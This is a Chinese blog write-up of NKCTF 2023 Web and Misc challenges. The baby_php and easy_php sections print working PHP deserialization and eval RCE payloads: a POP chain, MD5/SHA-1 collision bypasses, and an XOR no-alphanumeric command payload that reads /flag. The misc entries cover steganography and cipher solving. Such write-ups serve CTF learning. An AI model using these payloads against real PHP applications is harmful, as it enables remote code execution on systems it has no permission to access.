本文最后更新于 403 天前，其中的信息可能已经有所发展或是发生改变。

Web

baby_php

题解

sources

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    }

    function waf($string){
        if(preg_match('/f|l|a|g|\*|\?/i', $string)){
            die("you are bad");
        }
    }
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['p'])){
        unserialize($_GET['p']);
    }else{
        highlight_file(__FILE__);
    }
?>

<?php

class Welcome{
    public $name;
    public $arg = 'oww!man!!';
    public function __construct(){
        $this->name = 'ItS SO CREAZY';
    }
    public function __destruct(){
        if($this->name == 'welcome_to_NKCTF'){
            echo $this->arg;
        }
    }
}

class Happy{
        public $shell; //"system"
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
class Hell0{
    public $func;
    public function __toString(){
        $function = $this->func;//$this->func = new Happy();
        $function();
    }
}

$a0 = new Hell0();
$b0 = new Happy();
$b0->shell = "urldecode";
$b0->cmd = "%73%79%73%74%65%6d%28%22%63%61%74%20/%66%31%61%67%22%29%3b";
$c0 = new Welcome();
$c0->name = 'welcome_to_NKCTF';

$a0->func = $b0;
$c0->arg = $a0;
echo urlencode(serialize($c0));

easy_php

题解

sources

<?php 
    highlight_file(__FILE__);
    error_reporting(0);
    if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
        if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
            if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
                if(isset($_GET['NS_CTF.go'])){
                    if(isset($_POST['cmd'])){
                        if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
                            eval($_POST['cmd']);
                        }else{
                            die('error!!!!!!');
                        }
                    }else{
                        die('error!!!!!');
                    }
                }else{
                    die('error!!!!');
                }
            }else{
                die('error!!!');
            }
        }else{
            die('error!!');
        }
    }else{
        die('error!');
    }
?> error!

sha1 碰撞，无字母RCE

POST /index.php?NS[CTF.go=123&e=114514.99999&a=QNKCDZO&b=240610708 HTTP/1.1
Host: e1b08876-540b-41e4-a991-e7cef2ee1a28.node.yuzhian.com.cn:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://nkctf.yuzhian.com.cn:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.1495183494.1678690243; _ga_KCSGQQ51ER=GS1.1.1679681807.6.0.1679681807.0.0.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1518

c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&cmd=%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B&_=system&__=cat /flag

hard_php

题解

参考CTFshow PHP RCE

Webpagetest

题解

phar 反序列化，参考：https://xz.aliyun.com/t/11798

ez_pms

题解

禅道18.0.beta1，存在RCE漏洞，分析过程参考：https://blog.huamang.xyz/post/zentao_rce/

Misc

Hard_misc

题解

签到

blue

题解

取证大师秒

first spam of rabbit year

题解

垃圾邮件解密，得到佛又曰，密钥为rabbit，其中还包括0宽

佛曰：栗楞穆婆悉遮俱吉室嚧无佛吉埵沙他蒙蒙唎皤啰烁伽驮数迦帝楞萨那摩度驮伽度耶萨那曳喝写怛钵遮耶烁埵室摩迦尼菩呼阇栗墀豆哆烁利吉舍阿萨俱夜嚧蒙喝喝诃罚悉阇喝无数那迦陀室沙穆皤南陀娑利烁输夜输参陀数醯诃提耶钵遮夜栗谨伽俱菩度咩烁室醯迦输诃度唎阇钵无羯栗提摩谨咩悉哆阇室悉钵楞那他伽啰伊耶谨那尼那呼伊罚卢输南喝豆娑伽唎醯嚧那嚧羯摩吉参喝那阿地墀数陀楞啰孕罚度醯菩萨埵埵栗他穆菩参舍迦羯沙啰吉尼楞怛尼孕苏地遮苏提曳谨阇那啰阇南曳输曳伊苏伊度啰咩提苏他他娑驮俱婆钵室利烁俱伽写利羯悉阇遮皤佛南悉阿帝萨喝悉阇参参楞罚皤苏喝墀诃他吉伽提利尼埵啰输嚧醯婆伽墀菩唎娑谨他怛写沙伽啰烁摩栗埵伊啰俱楞帝写地卢利怛吉帝陀阿唵伊伽谨曳阇羯娑羯嚧埵唎烁楞喝曳输他阿室钵谨啰楞他呼娑喝菩哆蒙穆诃婆烁他夜孕穆诃钵佛参室悉舍萨穆室遮阿喝啰伽耶喝漫

解得

&‍‎‏auD5‏‍v'<)‏‍‌`h‎‏{dF6C_*'Jrcqzrh&ZaF>`g^‏‍‌Hr'}vuHZJB‎‏%~}_H5?gu‌‏‏;q‍‏‌)"<rA?{sH2{IfafKfu=6w_tip:47&13

0宽rot13得到密码

EnoOoO1G

rot47 得到rabbit

U‍‎‏2Fsd‏‍GVkX‏‍‌19‎‏L5uer0YVyC4BKC9U+2um18/‏‍‌wCVNGFw+yq‎‏TON0wdn8F‌‏‏jB‍‏‌XQkCpnLDwaLx727z7FleH0E:AicfU`b

THmaster

题解

GitHub – 0x00000FF/rensenware_force: rensenWare forcing tool
https://github.com/0x00000FF/rensenware-cut
原型是一个勒索病毒，很久以前的东西，破解后重放一下flag的存档，然后在replay文件夹的一个文件末尾有flag

三体

题解

仓库：Novel_in_Image

easy_bmp

题解

改高改宽，250 1404
360二维码

easy_rgb

题解

自动拼图得到key: NKCTF2023
按RGB的顺序依次写一下里面的数据，是一个zip，解压，根据注释AES128，key为 NKCTF2023

Web

baby_php

题解

easy_php

题解

hard_php

题解

Webpagetest

题解

ez_pms

题解

Misc

Hard_misc

题解

blue

题解

first spam of rabbit year

题解

THmaster

题解

三体

题解

easy_bmp

题解

easy_rgb

题解

发送评论 编辑评论

推荐文章

发送评论编辑评论